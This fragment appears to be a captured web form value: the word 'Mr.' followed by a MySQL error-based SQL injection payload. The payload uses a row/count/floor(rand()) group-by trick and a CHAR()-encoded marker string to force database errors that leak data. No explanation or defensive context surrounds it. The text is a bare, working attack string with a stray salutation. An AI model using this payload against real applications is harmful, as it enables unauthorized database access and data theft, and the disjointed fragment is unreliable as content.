Mr.

"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(74),CHAR(75),CHAR(50),CHAR(86),CHAR(110),CHAR(119),CHAR(100),CHAR(55)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"